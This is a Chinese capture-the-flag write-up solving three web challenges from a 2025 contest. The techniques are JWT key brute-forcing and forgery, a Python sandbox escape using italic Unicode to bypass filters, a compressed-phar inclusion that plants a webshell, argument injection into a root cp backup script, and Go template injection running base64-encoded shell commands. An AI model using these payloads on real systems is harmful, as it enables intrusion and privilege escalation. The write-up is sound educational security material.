湾区杯初赛2025-Web全解
湾区杯2025-Web全解
ez_python
随便上传一个文件,提示需要管理员权限:
可以看到带有凭证:
是采用的JWT:
尝试伪造,伪造失败有提示:
key为@o70xO$0%#qR9#**
,最后两位需要爆破:
1 | import jwt |
伪造凭证即可:
1 | eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IkJSIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzU3MzI0NDMzfQ.gTiXJQsaTSeHN7a1xQdf5_DS0z1gy-yla0ddAL_2U4I |
可以看到只返回报错信息,正常执行只会返回run
主动抛出错误即可回显:
接下来就是经典沙箱逃逸问题了
尝试直接open("/flag","r").read()
失败,要么是flag文件不叫这个名字,要么就是得rce
简单测试可以发现,过滤了eval
,__
,import
,os
,subprocess
等,最简单方便的就是用斜体字绕过,参考聊聊bottle框架中由斜体字引发的模板注入(SSTI)waf bypass - LamentXU - 博客园,生成网站Italic Text Generator (𝘤𝘰𝘱𝘺 𝘢𝘯𝘥 𝘱𝘢𝘴𝘵𝘦) ― LingoJam
原payload:
1 | a = __import__("subprocess").run(["cat","/f1111ag"], capture_output=True, text=True).stdout |
最终payload:
1 | a = __imp𝘰rt__("subpr"+"ocess").run(["cat","/f1111ag"], capture_output=True, text=True).stdout |
完整EXP:
1 | import requests |
补充题目源码为:
1 | from flask import Flask, request, jsonify, render_template_string |
easy_readfile
访问得到题目源码:
1 |
|
很明显可以注意到Acheron
类中可以通过file_put_contents
写入文件,还可以通过include
包含文件,只不过经过了waf过滤,常规文件包含的php://
,data://
等无法使用,不过.phar
后缀倒是提醒了可以利用phar://
伪协议。
不过对于一个普通的phar利用文件:
1 |
|
可以看到是存在__HALT_COMPILER
字符串的,会被waf掉,我们可以通过将phar包压缩来绕过。压缩后不会并影响解析,同时可以规避掉waf字符。
生成一个没有__HALT_COMPILER
的phar包:
1 |
|
激活Acheron写模式:
1 |
|
上传phar文件:
1 | import requests |
1 | /tmp/0a242c6d7a066440811bedd706758c48.phar |
再换成读模式包含phar文件写入木马:
1 | import requests |
蚁剑连接尝试读取flag,但是权限不足:
但是注意到下面的几个脚本:
run.sh:
1 | !/bin/bash |
注意到这里有重新赋权的操作,而该脚本由root用户执行,如果flag文件权限为755那么就可以读取了
这里可能会想到使用软链接,将/flag软链接到/var/www/html/flag,这样在备份/var/www/html时,就会连flag一起备份走,并且重新赋权,但是在实际操作的时候可以发现,由于cp使用了-P
参数,实际上备份的是这个软链接本身而非其指向的文件
简单查一下cp的参数:
1 | ubuntu@Window:~$ cp --help |
如果用-H
参数就可以跟随软链接了!这里用到了一个awd中常用的小技巧,如果给一个文件名命名为-
开头的,例如-123
,那么实际上它会被当作参数,在awd中给木马取名为-muma.php
,别人在尝试使用rm
删除时,-muma.php
会被当作参数而不是文件名,进而无法删除
在此题中,执行的是cp -P * /var/www/html/backup/
,如果当前目录下有以-
开头的文件名,就会被解析为参数,达到一种参数注入的效果,具体为:
实际上就是:
1 | cd /var/www/html |
1 | flag{me2c2EmvfZAomZb4m6vYmxPpnNblJS6O} |
ssti
这个题目的注入点非常好找,就是/api?template=xxx
但是和传统ssti有些不同的是,{{7}}
返回7,而{{7*7}}
返回{{7*7}}
,这一点起初让我很疑惑,后来意识到,这应当不是经常见到的python的ssti系列,后来我想了之前看到过的一篇go的sstiGo SSTI初探 | tyskillのBlog
盲测一下:
1 | /api?template={{exec%20"id"}} |
尝试读flag:
不行了,看看环境变量:
是go环境,尝试读一下代码:
cat读取失败,使用tac
题目源码:
1 | package main |
过滤很多,但是专门还留了b64Decode
函数,那么将pyload进行base64编码后发送即可
1 | /api?template={{exec (B64Decode "bHMgLw==")}} |
1 | /api?template={{exec (B64Decode "Y2F0IC9mbGFn")}} |